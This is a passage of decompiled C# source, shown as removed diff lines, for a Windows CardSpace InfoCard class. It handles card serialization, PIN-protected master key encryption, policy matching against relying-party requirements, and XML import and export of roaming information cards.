flag = flag && this.CreationParameters.Count > 0 && null != this.m_issuerIdentifierAsBytes; - return flag; - } - - private RSACryptoServiceProvider GetPrivateKeyPairRsaProvider( - string recipientIdentifier) - { - LedgerEntry ledgerEntry = this.TryGetLedgerEntry(this.m_storeConnection, recipientIdentifier); - InfoCardTrace.Assert(null != ledgerEntry, "null ledger"); - RSACryptoServiceProvider keyPairRsaProvider = new RSACryptoServiceProvider(2048); - keyPairRsaProvider.ImportCspBlob(ledgerEntry.SubjectKey); - return keyPairRsaProvider; - } - - public RSACryptoServiceProvider GetPrivateCryptography( - string recipientIdentifier) - { - return this.GetPrivateKeyPairRsaProvider(recipientIdentifier); - } - - public RSACryptoServiceProvider GetPublicCryptography( - string recipientIdentifier) - { - RSACryptoServiceProvider keyPairRsaProvider = this.GetPrivateKeyPairRsaProvider(recipientIdentifier); - keyPairRsaProvider.ImportCspBlob(keyPairRsaProvider.ExportCspBlob(false)); - InfoCardTrace.Assert(keyPairRsaProvider.PublicOnly, "GetPublicCryptography returns a public only rsa"); - return keyPairRsaProvider; - } - - private void Serialize(Stream stream) - { - this.ThrowIfNotComplete(); - BinaryWriter writer = new BinaryWriter(stream, Encoding.Unicode); - writer.Write((byte) 1); - writer.Write(this.m_expiresOn.ToFileTimeUtc()); - writer.Write(this.m_epoch); - Utility.SerializeUri(writer, this.m_id); - writer.Write(this.m_issuedOn.ToFileTimeUtc()); - writer.Write(this.m_isImported); - writer.Write(this.m_installedOn.ToFileTimeUtc()); - writer.Write(this.m_isSelfIssued); - Utility.SerializeUri(writer, this.m_issuer); - Utility.SerializeString(writer, this.m_issuerName); - Utility.SerializeBytes(writer, this.m_issuerIdentifierAsBytes); - Utility.SerializeString(writer, this.m_language); - Utility.SerializeBytes(writer, this.m_logo); - Utility.SerializeString(writer, this.m_mimeType); - Utility.SerializeString(writer, this.m_name); - writer.Write(this.m_lastUpdate.ToFileTimeUtc()); - writer.Write(this.m_backgroundColor); - writer.Write((byte) this.m_requireAppliesTo); - Utility.SerializeString(writer, this.m_privacyPolicyLink); - writer.Write(this.m_privacyPolicyVersion); - Utility.SerializeBytes(writer, this.m_pinHash); - Utility.SerializeBytes(writer, this.m_salt); - writer.Write(this.m_tokenTypes.Length); - for (int index = 0; index < this.m_tokenTypes.Length; ++index) - Utility.SerializeString(writer, this.m_tokenTypes[index]); - writer.Write(this.m_creationParameters == null ? 0 : this.m_creationParameters.Count); - if (this.m_creationParameters != null) - { - for (int index = 0; index < this.m_creationParameters.Count; ++index) - this.m_creationParameters[index].Serialize(writer); - } - Utility.SerializeString(writer, string.Empty); - Utility.SerializeString(writer, string.Empty); - writer.Write((byte) this.m_pinAction); - writer.Write((byte) 29); - } - - public void AgentSerialize( - Stream stream, - bool initCalcAttributesForGetToken, - InfoCardPolicy policy, - StoreConnection storeConnection, - CultureInfo userCulture) - { - this.Serialize(stream); - this.m_storeConnection = storeConnection; - this.GetRPIdentityRequirement().Serialize(stream); - this.GetExtendedInformation().Serialize(stream); - InfoCard.GetIssuerInformation(this.GetExtendedInformation().GetIssuerInformationElement()).Serialize(stream); - InfoCardClaimCollection claims = this.GetClaims(); - if (policy != null && this.IsSelfIssued) - { - CultureInfo currentUiCulture = Thread.CurrentThread.CurrentUICulture; - try - { - Thread.CurrentThread.CurrentUICulture = userCulture; - string ppid = Utility.CreatePpid(Convert.FromBase64String(policy.ImmediateTokenRecipient.GetOrganizationPPIDIdentifier()), this.m_id); - claims.Add(new InfoCardClaim(InfoCardConstants.PPIDClaimsUri, ppid, InfoCardConstants.ClaimsDescription(InfoCardConstants.PPID), InfoCardConstants.ClaimDisplayTag(InfoCardConstants.PPID))); - } - finally - { - Thread.CurrentThread.CurrentUICulture = currentUiCulture; - } - } - claims.AgentSerialize(stream); - BinaryWriter binaryWriter = new BinaryWriter(stream, Encoding.Unicode); - if (initCalcAttributesForGetToken) - { - binaryWriter.Write(this.DoesCardMatchPolicySet(policy)); - binaryWriter.Write(this.CardMatchesPolicyRequiredIssuer(policy)); - binaryWriter.Write(this.HasCardBeenUsedBefore(policy.Recipient.GetIdentifier(), storeConnection)); - binaryWriter.Write(this.HaveRequestedClaimsChanged(policy, storeConnection)); - binaryWriter.Write(this.WillSendAppliesToInRst(policy)); - binaryWriter.Write(this.DoesCardSupportAnyOptionalClaims(policy)); - binaryWriter.Write(this.DoesCardMatchNonClaimPolicyRequirements(policy)); - } - else - { - binaryWriter.Write(false); - binaryWriter.Write(false); - binaryWriter.Write(false); - binaryWriter.Write(false); - binaryWriter.Write(false); - binaryWriter.Write(false); - binaryWriter.Write(false); - } - binaryWriter.Flush(); - } - - public void CopyMetaData(InfoCard card) - { - this.m_salt = new byte[card.HashSalt.Length]; - Array.Copy((Array) card.HashSalt, 0, (Array) this.m_salt, 0, card.HashSalt.Length); - this.m_pinHash = new byte[card.m_pinHash.Length]; - Array.Copy((Array) card.m_pinHash, 0, (Array) this.m_pinHash, 0, card.m_pinHash.Length); - } - - private bool DoesCardSupportAnyOptionalClaims(InfoCardPolicy policy) - { - List stringList = new List((IEnumerable) policy.OptionalClaims); - foreach (string key in this.GetClaims().Keys) - { - if (stringList.Contains(key)) - return true; - } - return false; - } - - private bool WillSendAppliesToInRst(InfoCardPolicy policy) - { - AppliesToBehaviorDecision decisionForPolicyMatch = AppliesToBehaviorDecisionTable.GetAppliesToBehaviorDecisionForPolicyMatch(policy, this.RequireAppliesto); - return AppliesToBehaviorDecision.SendCustomAppliesTo == decisionForPolicyMatch || AppliesToBehaviorDecision.SendRPAppliesTo == decisionForPolicyMatch; - } - - private void Deserialize(Stream stream) - { - BinaryReader reader = (BinaryReader) new InfoCardBinaryReader(stream, Encoding.Unicode); - this.m_expiresOn = (byte) 1 == reader.ReadByte() ? DateTime.FromFileTimeUtc(reader.ReadInt64()) : throw InfoCardTrace.ThrowHelperError((Exception) new InvalidCardException("ServiceCardWrongVersion")); - this.m_epoch = reader.ReadUInt32(); - this.m_id = new Uri(Utility.DeserializeString(reader)); - this.m_issuedOn = DateTime.FromFileTimeUtc(reader.ReadInt64()); - this.m_isImported = reader.ReadBoolean(); - this.m_installedOn = DateTime.FromFileTimeUtc(reader.ReadInt64()); - this.m_isSelfIssued = reader.ReadBoolean(); - this.m_issuer = Utility.DeserializeUri(reader); - this.m_issuerName = Utility.DeserializeString(reader); - int count1 = reader.ReadInt32(); - this.m_issuerIdentifierAsBytes = reader.ReadBytes(count1); - this.m_language = Utility.DeserializeString(reader); - int count2 = reader.ReadInt32(); - InfoCardTrace.Assert((0 > count2 ? 0 : (count2 < 1048576 ? 1 : 0)) != 0, "logo length out of range {0}", (object) count2); - this.m_logo = reader.ReadBytes(count2); - this.m_mimeType = Utility.DeserializeString(reader); - this.m_name = Utility.DeserializeString(reader); - this.m_lastUpdate = DateTime.FromFileTimeUtc(reader.ReadInt64()); - this.m_backgroundColor = reader.ReadInt32(); - this.m_requireAppliesTo = (RequireAppliesToStatus) reader.ReadByte(); - this.m_privacyPolicyLink = Utility.DeserializeString(reader); - this.m_privacyPolicyVersion = reader.ReadUInt32(); - int count3 = reader.ReadInt32(); - InfoCardTrace.Assert((0 > count3 ? 0 : (count3 < 1024 ? 1 : 0)) != 0, "pin hash out fo range {0}", (object) count3); - this.m_pinHash = reader.ReadBytes(count3); - int count4 = reader.ReadInt32(); - InfoCardTrace.Assert((0 > count4 ? 0 : (count4 < 1024 ? 1 : 0)) != 0, "salt length out of range {0}", (object) count4); - this.m_salt = reader.ReadBytes(count4); - int length = reader.ReadInt32(); - InfoCardTrace.Assert(32 > length, "too many token types"); - this.m_tokenTypes = new string[length]; - for (int index = 0; index < length; ++index) - this.m_tokenTypes[index] = Utility.DeserializeString(reader); - int num = reader.ReadInt32(); - InfoCardTrace.Assert((0 > num ? 0 : (num < 128 ? 1 : 0)) != 0, "creation parametes out of range {0}", (object) num); - for (int index = 0; index < num; ++index) - { - TokenCreationParameter creationParameter = new TokenCreationParameter(); - creationParameter.Deserialize(reader); - this.CreationParameters.Add(creationParameter); - } - this.m_pin = Utility.DeserializeString(reader); - this.m_oldPin = Utility.DeserializeString(reader); - this.m_pinAction = (InfoCard.PinAction) reader.ReadByte(); - if ((byte) 29 != reader.ReadByte()) - InfoCardTrace.Assert(false, "malformed stream detected"); - this.ThrowIfNotComplete(); - } - - public Dictionary GetClaimsToBeDisclosed( - InfoCardPolicy policy, - bool discloseOptional) - { - Dictionary claimsToBeDisclosed = new Dictionary(policy.RequiredClaims.Length); - for (int index = 0; index < policy.RequiredClaims.Length; ++index) - claimsToBeDisclosed.Add(policy.RequiredClaims[index], false); - if (discloseOptional) - { - for (int index = 0; index < policy.OptionalClaims.Length; ++index) - { - string optionalClaim = policy.OptionalClaims[index]; - if (this.GetClaims().ContainsKey(optionalClaim)) - claimsToBeDisclosed.Add(policy.OptionalClaims[index], true); - } - } - return claimsToBeDisclosed; - } - - public bool DoesCardMatchPolicySet(InfoCardPolicy policy) - { - InfoCardTrace.Assert(null != policy, "null policy"); - bool flag = true; - List stringList = new List((IEnumerable) this.SupportedClaimTypes); - if (policy.RequiredClaims != null) - { - foreach (string requiredClaim in policy.RequiredClaims) - { - if (!stringList.Contains(requiredClaim) && (!this.IsSelfIssued || !(InfoCardConstants.PPIDClaimsUri == requiredClaim))) - { - flag = false; - break; - } - } - } - return flag && this.DoesCardMatchNonClaimPolicyRequirements(policy); - } - - public bool DoesCardMatchNonClaimPolicyRequirements(InfoCardPolicy policy) - { - InfoCardTrace.Assert(null != policy, "null policy"); - bool flag1 = true; - if (!this.IsSelfIssued && AppliesToBehaviorDecision.FailMatch == AppliesToBehaviorDecisionTable.GetAppliesToBehaviorDecisionForPolicyMatch(policy, this.RequireAppliesto)) - flag1 = false; - bool flag2 = true; - if (this.GetRPIdentityRequirement().StrongIdentityRequired && !(policy.ImmediateTokenRecipient is X509RecipientIdentity)) - flag2 = false; - return (!this.IsSelfIssued || !policy.RequiresManagedCard) && this.CardMatchesPolicyTokenType(policy) && this.CardMatchesPolicyRequiredIssuer(policy) && flag1 && flag2; - } - - public bool HaveRequestedClaimsChanged(InfoCardPolicy policy, StoreConnection connection) - { - InfoCardTrace.Assert((Uri) null != this.m_id, "Null id"); - InfoCardTrace.Assert(null != policy, "null policy"); - InfoCardTrace.Assert(null != connection, "null connection"); - LedgerEntry ledgerEntry = this.TryGetLedgerEntry(connection, policy.Recipient.GetIdentifier()); - if (ledgerEntry == null) - return true; - IList list = (IList) (ledgerEntry.DisclosedClaims ?? new string[0]); - int num1 = 0; - if (policy.RequiredClaims != null) - num1 = policy.RequiredClaims.Length; - if (num1 > list.Count) - return true; - bool flag = true; - foreach (string requiredClaim in policy.RequiredClaims) - { - if (!list.Contains((object) requiredClaim)) - { - flag = false; - break; - } - } - int num2 = flag ? 1 : 0; - return !flag; - } - - private bool CardMatchesPolicyTokenType(InfoCardPolicy policy) - { - if (string.IsNullOrEmpty(policy.OptionalRstParams.TokenType)) - return true; - foreach (string tokenType in this.m_tokenTypes) - { - if (tokenType == policy.OptionalRstParams.TokenType) - return true; - } - return false; - } - - private bool CardMatchesPolicyRequiredIssuer(InfoCardPolicy policy) => (EndpointAddress) null == policy.Issuer || (Uri) null == policy.Issuer.Uri || Utility.CompareUri(policy.Issuer.Uri, XmlNames.WSIdentity.AnonymousIssuerUriValue) || this.m_isSelfIssued && Utility.CompareUri(policy.Issuer.Uri, XmlNames.WSIdentity.SelfIssuerUriValue) || !this.m_isSelfIssued && Utility.CompareUri(policy.Issuer.Uri, this.m_issuer); - - public bool HasCardBeenUsedBefore(string recipientId, StoreConnection connection) => null != connection.GetSingleRow(QueryDetails.Identifiers, new QueryParameter("ix_objecttype", new object[1] - { - (object) -1 - }), new QueryParameter("ix_name", new object[1] - { - (object) recipientId - }), new QueryParameter("ix_parentid", new object[1] - { - (object) GlobalId.DeriveFrom(this.m_id.ToString()) - })); - - public void Get(StoreConnection con) - { - InfoCardTrace.Assert((Uri) null != this.m_id, "null id"); - InfoCardTrace.Assert(null != con, "null connection"); - this.m_storeConnection = con; - DataRow row = this.GetRow(con, QueryDetails.FullRow); - this.Deserialize((Stream) new MemoryStream(row.GetDataField())); - this.m_rowId = row.LocalId; - } - - public void Save(StoreConnection con) - { - this.ThrowIfNotComplete(); - InfoCardTrace.Assert(null != con, "null connection"); - DataRow row = this.TryGetRow(con, QueryDetails.FullHeader); - bool flag = false; - if (row == null) - { - if (this.m_masterKey == null) - this.m_masterKey = InfoCardMasterKey.NewMasterKey(this.m_id); - flag = true; - row = new DataRow(); - row.ObjectType = 1; - row.GlobalId = GlobalId.DeriveFrom(this.m_id.ToString()); - } - InfoCardClaimCollection cardClaimCollection = (InfoCardClaimCollection) null; - switch (this.m_pinAction) - { - case InfoCard.PinAction.PinSame: - cardClaimCollection = this.m_claims.Clone(); - this.GetMasterKey(con); - this.m_claims.Encrypt(this.m_masterKey.GetPinHelper(this.m_pin)); - break; - case InfoCard.PinAction.PinAdded: - cardClaimCollection = this.m_claims.Clone(); - this.GetMasterKey(con); - PinProtectionHelper pinHelper1 = new PinProtectionHelper(this.m_pin); - this.m_masterKey.Encrypt(pinHelper1); - this.m_claims.Encrypt(pinHelper1); - flag = true; - break; - case InfoCard.PinAction.PinRemoved: - this.GetMasterKey(con); - this.m_masterKey.Decrypt(this.m_masterKey.GetPinHelper(this.m_oldPin)); - flag = true; - break; - case InfoCard.PinAction.PinChanged: - cardClaimCollection = this.m_claims.Clone(); - this.GetMasterKey(con); - this.m_masterKey.Decrypt(this.m_masterKey.GetPinHelper(this.m_oldPin)); - PinProtectionHelper pinHelper2 = new PinProtectionHelper(this.m_pin); - this.m_masterKey.Encrypt(pinHelper2); - this.m_claims.Encrypt(pinHelper2); - flag = true; - break; - } - if (flag) - this.m_masterKey.Save(con); - this.m_pinAction = this.IsPinProtected ? InfoCard.PinAction.PinSame : InfoCard.PinAction.NoPin; - string[] strArray; - if (this.IsSelfIssued) - { - strArray = new string[1] - { - "http://schemas.xmlsoap.org/ws/2005/05/identity/issuer/self" - }; - } - else - { - strArray = new string[this.CreationParameters.Count]; - int num = 0; - foreach (TokenCreationParameter creationParameter in this.CreationParameters) - strArray[num++] = creationParameter.Epr.Uri.ToString(); - } - row.SetIndexValue("ix_production_svc_uri", (object[]) strArray); - InfoCardTrace.Assert(null != this.m_claims, "Must already be initialized at this point"); - row.SetIndexValue("ix_supportclaim", (object[]) this.SupportedClaimTypes); - if (this.CreationParameters.Count > 0) - { - object[] objArray = new object[this.CreationParameters.Count]; - int num = 0; - foreach (TokenCreationParameter creationParameter in this.CreationParameters) - objArray[num++] = (object) (int) creationParameter.CredentialType; - row.SetIndexValue("ix_supportauth", objArray); - } - MemoryStream memoryStream = new MemoryStream(); - this.Serialize((Stream) memoryStream); - row.SetDataField(memoryStream.ToArray()); - con.Save(row); - this.m_rowId = row.LocalId; - if (this.m_extendedInformation != null) - this.m_extendedInformation.Save(con); - this.m_claims.Save(con, this.m_isSelfIssued); - if (cardClaimCollection != null) - this.m_claims = cardClaimCollection; - this.GetRPIdentityRequirement().Save(con); - } - - public override string ToString() => base.ToString(); - - public static InfoCard NewCard(CultureInfo userCulture) - { - InfoCard infoCard = new InfoCard(); - infoCard.m_expiresOn = DateTime.MaxValue; - infoCard.m_epoch = 1U; - infoCard.m_id = new Uri("urn:uuid:" + Guid.NewGuid().ToString()); - infoCard.m_issuedOn = DateTime.UtcNow; - infoCard.m_isImported = false; - infoCard.m_installedOn = DateTime.UtcNow; - infoCard.m_isSelfIssued = true; - infoCard.m_issuerName = SR.GetString("SelfIssuedIssuerName"); - infoCard.m_issuer = XmlNames.WSIdentity.SelfIssuerUriValue; - infoCard.m_language = userCulture.TwoLetterISOLanguageName; - infoCard.m_logo = new byte[0]; - infoCard.m_name = (string) null; - infoCard.m_lastUpdate = DateTime.UtcNow; - infoCard.m_backgroundColor = 16777215; - infoCard.m_requireAppliesTo = RequireAppliesToStatus.NotPresent; - infoCard.m_salt = InfoCard.GenerateSalt(); - infoCard.m_tokenTypes = new string[2] - { - "urn:oasis:names:tc:SAML:1.0:assertion", - "http://docs.oasis-open.org/wss/oasis-wss-saml-token-profile-1.1#SAMLV1.1" - }; - CultureInfo currentUiCulture = Thread.CurrentThread.CurrentUICulture; - try - { - Thread.CurrentThread.CurrentUICulture = userCulture; - for (int index = 0; index < InfoCardConstants.SelfIssuedClaimsUris.Length; ++index) - { - InfoCardClaim claim = new InfoCardClaim(InfoCardConstants.SelfIssuedClaimsUris[index], (string) null, InfoCardConstants.ClaimsDescription(InfoCardConstants.SelfIssuedClaimsUris[index]), InfoCardConstants.ClaimDisplayTag(InfoCardConstants.SelfIssuedClaimsUris[index])); - infoCard.AddClaim(claim); - } - } - finally - { - Thread.CurrentThread.CurrentUICulture = currentUiCulture; - } - InfoCardTrace.Assert(null == infoCard.m_masterKey, "Card key is only populated during save"); - return infoCard; - } - - protected DataRow GetRow(StoreConnection con, QueryDetails details) - { - InfoCardTrace.Assert(null != con, " null connection"); - DataRow row = this.TryGetRow(con, details); - InfoCardTrace.Assert(null != row, "null row"); - InfoCardTrace.Assert((1 == row.ObjectType ? 1 : 0) != 0, "Attempt to deserialize an incorrect object type {0}", (object) row.ObjectType); - return row; - } - - protected DataRow TryGetRow(StoreConnection con, QueryDetails details) - { - InfoCardTrace.Assert((Uri) null != this.m_id, "null id"); - InfoCardTrace.Assert(null != con, "null connection"); - return con.GetSingleRow(details, new QueryParameter("ix_globalid", new object[1] - { - (object) GlobalId.DeriveFrom(this.m_id.ToString()) - })); - } - - public void ReadXml(XmlReader reader) - { - if ("RoamingInformationCard" == reader.LocalName) - this.ReadRoamingInfoCard(reader); - else if ("InformationCard" == reader.LocalName) - this.ReadImportedInfoCard(reader); - else - InfoCardTrace.Assert(false, "Invalid element found. Did schema validation fail? Found {0}", (object) reader.LocalName); - } - - public System.Xml.Schema.XmlSchema GetSchema() => (System.Xml.Schema.XmlSchema) null; - - public void WriteXml(XmlWriter writer) - { - this.ThrowIfNotComplete(); - writer.WriteStartElement("RoamingInformationCard", "http://schemas.xmlsoap.org/ws/2005/05/identity"); - writer.WriteStartElement("InformationCardMetaData", "http://schemas.xmlsoap.org/ws/2005/05/identity"); - writer.WriteAttributeString("lang", "http://www.w3.org/XML/1998/namespace", this.m_language); - writer.WriteStartElement("InformationCardReference", "http://schemas.xmlsoap.org/ws/2005/05/identity"); - writer.WriteStartElement("CardId", "http://schemas.xmlsoap.org/ws/2005/05/identity"); - writer.WriteString(this.m_id.AbsoluteUri); - writer.WriteEndElement(); - writer.WriteStartElement("CardVersion", "http://schemas.xmlsoap.org/ws/2005/05/identity"); - writer.WriteString(this.m_epoch.ToString((IFormatProvider) CultureInfo.InvariantCulture)); - writer.WriteEndElement(); - writer.WriteEndElement(); - if (!string.IsNullOrEmpty(this.m_name)) - { - writer.WriteStartElement("CardName", "http://schemas.xmlsoap.org/ws/2005/05/identity"); - writer.WriteString(this.m_name); - writer.WriteEndElement(); - } - if (this.m_logo != null && this.m_logo.Length != 0) - { - writer.WriteStartElement("CardImage", "http://schemas.xmlsoap.org/ws/2005/05/identity"); - if (!string.IsNullOrEmpty(this.m_mimeType)) - writer.WriteAttributeString("MimeType", this.m_mimeType); - string base64String = Convert.ToBase64String(this.m_logo); - writer.WriteString(base64String); - writer.WriteEndElement(); - } - writer.WriteStartElement("Issuer", "http://schemas.xmlsoap.org/ws/2005/05/identity"); - if ((Uri) null != this.m_issuer) - writer.WriteString(this.m_issuer.AbsoluteUri); - writer.WriteEndElement(); - writer.WriteStartElement("TimeIssued", "http://schemas.xmlsoap.org/ws/2005/05/identity"); - writer.WriteString(XmlConvert.ToString(this.m_issuedOn, XmlDateTimeSerializationMode.Utc)); - writer.WriteEndElement(); - writer.WriteStartElement("TimeExpires", "http://schemas.xmlsoap.org/ws/2005/05/identity"); - writer.WriteString(XmlConvert.ToString(this.m_expiresOn, XmlDateTimeSerializationMode.Utc)); - writer.WriteEndElement(); - if (this.m_creationParameters != null) - { - writer.WriteStartElement("TokenServiceList", "http://schemas.xmlsoap.org/ws/2005/05/identity"); - foreach (TokenCreationParameter creationParameter in this.m_creationParameters) - creationParameter.WriteXml(writer); - writer.WriteEndElement(); - } - writer.WriteStartElement("SupportedTokenTypeList", "http://schemas.xmlsoap.org/ws/2005/05/identity"); - foreach (string tokenType in this.m_tokenTypes) - writer.WriteElementString("TokenType", "http://schemas.xmlsoap.org/ws/2005/02/trust", tokenType); - writer.WriteEndElement(); - writer.WriteStartElement("SupportedClaimTypeList", "http://schemas.xmlsoap.org/ws/2005/05/identity"); - foreach (string key in this.GetClaims().Keys) - { - InfoCardClaim claim = this.GetClaims()[key]; - if (!this.m_isSelfIssued || !Utility.CompareUri(claim.Id, InfoCardConstants.PPIDClaimsUri)) - { - writer.WriteStartElement("SupportedClaimType", "http://schemas.xmlsoap.org/ws/2005/05/identity"); - writer.WriteAttributeString("Uri", claim.Id); - if (!string.IsNullOrEmpty(claim.DisplayTag)) - writer.WriteElementString("DisplayTag", "http://schemas.xmlsoap.org/ws/2005/05/identity", claim.DisplayTag); - if (!string.IsNullOrEmpty(claim.Description)) - writer.WriteElementString("Description", "http://schemas.xmlsoap.org/ws/2005/05/identity", claim.Description); - writer.WriteEndElement(); - } - } - writer.WriteEndElement(); - if (this.m_requireAppliesTo != RequireAppliesToStatus.NotPresent) - { - writer.WriteStartElement("RequireAppliesTo", "http://schemas.xmlsoap.org/ws/2005/05/identity"); - if (RequireAppliesToStatus.Optional == this.m_requireAppliesTo) - writer.WriteAttributeString("Optional", "true"); - writer.WriteEndElement(); - } - if (!string.IsNullOrEmpty(this.m_privacyPolicyLink)) - { - writer.WriteStartElement("PrivacyNotice", "http://schemas.xmlsoap.org/ws/2005/05/identity"); - if (0U < this.m_privacyPolicyVersion) - writer.WriteAttributeString("Version", this.m_privacyPolicyVersion.ToString((IFormatProvider) CultureInfo.InvariantCulture)); - writer.WriteString(this.m_privacyPolicyLink); - writer.WriteEndElement(); - } - if (this.GetRPIdentityRequirement().StrongIdentityRequired) - { - writer.WriteStartElement("RequireStrongRecipientIdentity", "http://schemas.xmlsoap.org/ws/2007/01/identity"); - writer.WriteEndElement(); - } - if (this.GetExtendedInformation() != null) - { - foreach (InfocardExtendedInformationEntry informationEntry in (List) this.m_extendedInformation) - informationEntry.WriteXml(writer); - } - writer.WriteStartElement("IsSelfIssued", "http://schemas.xmlsoap.org/ws/2005/05/identity"); - writer.WriteString(XmlConvert.ToString(this.m_isSelfIssued)); - writer.WriteEndElement(); - if (!Utility.ArrayIsNullOrEmpty((Array) this.m_pinHash)) - { - writer.WriteStartElement("PinDigest", "http://schemas.xmlsoap.org/ws/2005/05/identity"); - writer.WriteString(Convert.ToBase64String(this.m_pinHash)); - writer.WriteEndElement(); - } - writer.WriteStartElement("HashSalt", "http://schemas.xmlsoap.org/ws/2005/05/identity"); - writer.WriteString(Convert.ToBase64String(this.m_salt)); - writer.WriteEndElement(); - writer.WriteStartElement("TimeLastUpdated", "http://schemas.xmlsoap.org/ws/2005/05/identity"); - writer.WriteString(XmlConvert.ToString(this.m_lastUpdate, XmlDateTimeSerializationMode.Utc)); - writer.WriteEndElement(); - writer.WriteStartElement("IssuerId", "http://schemas.xmlsoap.org/ws/2005/05/identity"); - if (this.m_issuerIdentifierAsBytes != null) - writer.WriteString(Convert.ToBase64String(this.m_issuerIdentifierAsBytes, Base64FormattingOptions.None)); - writer.WriteEndElement(); - writer.WriteStartElement("IssuerName", "http://schemas.xmlsoap.org/ws/2005/05/identity"); - if (!string.IsNullOrEmpty(this.m_issuerName)) - writer.WriteString(this.m_issuerName); - writer.WriteEndElement(); - writer.WriteStartElement("BackgroundColor", "http://schemas.xmlsoap.org/ws/2005/05/identity"); - writer.WriteString(XmlConvert.ToString(this.m_backgroundColor)); - writer.WriteEndElement(); - writer.WriteEndElement(); - writer.WriteStartElement("InformationCardPrivateData", "http://schemas.xmlsoap.org/ws/2005/05/identity"); - InfoCardTrace.Assert(null != this.m_masterKey, "Masterkey Cannot be null when trying to export a card"); - writer.WriteStartElement("MasterKey", "http://schemas.xmlsoap.org/ws/2005/05/identity"); - writer.WriteString(Convert.ToBase64String(this.m_masterKey.Key)); - writer.WriteEndElement(); - if (this.IsSelfIssued) - { - writer.WriteStartElement("ClaimValueList", "http://schemas.xmlsoap.org/ws/2005/05/identity"); - foreach (string key in this.GetClaims().Keys) - { - InfoCardClaim claim = this.GetClaims()[key]; - if (!Utility.CompareUri(claim.Id, InfoCardConstants.PPIDClaimsUri)) - { - writer.WriteStartElement("ClaimValue", "http://schemas.xmlsoap.org/ws/2005/05/identity"); - writer.WriteAttributeString("Uri", claim.Id); - if (!string.IsNullOrEmpty(claim.Value)) - writer.WriteElementString("Value", "http://schemas.xmlsoap.org/ws/2005/05/identity", claim.Value); - else - writer.WriteElementString("Value", "http://schemas.xmlsoap.org/ws/2005/05/identity", string.Empty); - writer.WriteEndElement(); - } - } - writer.WriteEndElement(); - } - writer.WriteEndElement(); - writer.WriteEndElement(); - } - - private void ReadImportedInfoCard(XmlReader reader) - { - InfoCardTrace.Assert(null != reader, "null reader"); - this.Language = reader.IsStartElement("InformationCard", "http://schemas.xmlsoap.org/ws/2005/05/identity") ? reader.GetAttribute("lang", "http://www.w3.org/XML/1998/namespace") : throw InfoCardTrace.ThrowHelperError((Exception) new InvalidCardException(SR.GetString("UnexpectedElement"))); - if (string.IsNullOrEmpty(this.Language)) - this.Language = reader.GetAttribute("lang"); - reader.ReadStartElement(); - this.ReadBaseInfoCard(reader); - if (!this.IsSelfIssued && Utility.CompareUri(this.m_issuer, XmlNames.WSIdentity.SelfIssuerUriValue)) - throw InfoCardTrace.ThrowHelperError((Exception) new InvalidCardException(SR.GetString("SelfIssuedUriUsed"))); - if (this.m_extendedInformation != null) - return; - this.m_extendedInformation = new InfocardExtendedInformationCollection(this.m_id); - } - - private void ReadRoamingInfoCard(XmlReader reader) - { - InfoCardTrace.Assert(null != reader, "null reader"); - if (!reader.IsStartElement("RoamingInformationCard", "http://schemas.xmlsoap.org/ws/2005/05/identity")) - throw InfoCardTrace.ThrowHelperError((Exception) new InvalidCardException(SR.GetString("UnexpectedElement"))); - reader.ReadStartElement(); - this.Language = reader.GetAttribute("lang", "http://www.w3.org/XML/1998/namespace"); - if (string.IsNullOrEmpty(this.Language)) - this.Language = reader.GetAttribute("lang"); - this.ReadBaseInfoCard(reader); - if (this.m_isSelfIssued && this.GetClaims().ContainsKey(InfoCardConstants.PPIDClaimsUri)) - throw InfoCardTrace.ThrowHelperError((Exception) new InvalidCardException(SR.GetString("InvalidImportFile"))); - this.ReadInfoCardPrivateData(reader); - } - - private void ReadInfoCardPrivateData(XmlReader reader) - { - while (reader.Read()) - { - switch (reader.LocalName) - { - case "RoamingInformationCard": - if (XmlNodeType.EndElement == reader.NodeType) - return; - continue; - case "MasterKey": - byte[] array = Utility.ReadByteStreamFromBase64(reader).ToArray(); - if (this.IsPinProtected) - { - if (array == null || PinProtectionHelper.EncryptedMasterKeySize != array.Length) - throw InfoCardTrace.ThrowHelperError((Exception) new InvalidCardException(SR.GetString("InvalidImportFile"))); - this.m_masterKey = new InfoCardMasterKey(this.m_id, array); - continue; - } - this.m_masterKey = array != null && 32 == array.Length ? new InfoCardMasterKey(this.m_id, array) : throw InfoCardTrace.ThrowHelperError((Exception) new InvalidCardException(SR.GetString("InvalidImportFile"))); - continue; - case "ClaimValueList": - this.ReadClaimValues(reader); - continue; - default: - continue; - } - } - } - - private void ReadBaseInfoCard(XmlReader reader) - { - try - { - while (reader.Read()) - { - if ("http://schemas.xmlsoap.org/ws/2005/05/identity" == reader.NamespaceURI && XmlNodeType.EndElement == reader.NodeType && ("InformationCard" == reader.LocalName || "InformationCardMetaData" == reader.LocalName)) - { - reader.ReadEndElement(); - break; - } - if ("http://schemas.xmlsoap.org/ws/2005/05/identity" != reader.NamespaceURI && XmlNodeType.Element == reader.NodeType) - { - if ("http://schemas.xmlsoap.org/ws/2007/01/identity" == reader.NamespaceURI && "IssuerInformation" == reader.LocalName) - { - if (this.m_readIssuerInformation) - throw InfoCardTrace.ThrowHelperError((Exception) new InvalidCardException(SR.GetString("MultipleIssuerInformation"))); - InfocardExtendedInformationEntry informationEntry = new InfocardExtendedInformationEntry(); - informationEntry.ReadXml(reader); - if (this.m_extendedInformation == null) - this.m_extendedInformation = new InfocardExtendedInformationCollection(this.m_id); - this.m_extendedInformation.Add(informationEntry); - this.m_readIssuerInformation = true; - continue; - } - new InfocardExtendedInformationEntry().ReadXml(reader); - } - if ("http://schemas.xmlsoap.org/ws/2005/05/identity" == reader.NamespaceURI && XmlNodeType.EndElement != reader.NodeType) - { - switch (reader.LocalName) - { - case "CardId": - this.Id = new Uri(reader.ReadString().Trim()); - continue; - case "CardVersion": - this.Epoch = Convert.ToUInt32(reader.ReadString().Trim(), (IFormatProvider) CultureInfo.InvariantCulture); - continue; - case "CardImage": - this.LogoMimeType = reader.GetAttribute("MimeType", "http://schemas.xmlsoap.org/ws/2005/05/identity"); - if (string.IsNullOrEmpty(this.LogoMimeType)) - this.LogoMimeType = reader.GetAttribute("MimeType"); - this.Logo = Utility.ReadByteStreamFromBase64(reader).ToArray(); - continue; - case "CardName": - this.Name = reader.ReadString().Trim(); - continue; - case "IssuerName": - this.IssuerName = reader.ReadString().Trim(); - continue; - case "Issuer": - this.Issuer = new Uri(reader.ReadString().Trim()); - continue; - case "TimeExpires": - this.ExpiresOn = XmlConvert.ToDateTime(reader.ReadString().Trim(), XmlDateTimeSerializationMode.Utc); - continue; - case "TimeIssued": - this.IssuedOn = XmlConvert.ToDateTime(reader.ReadString().Trim(), 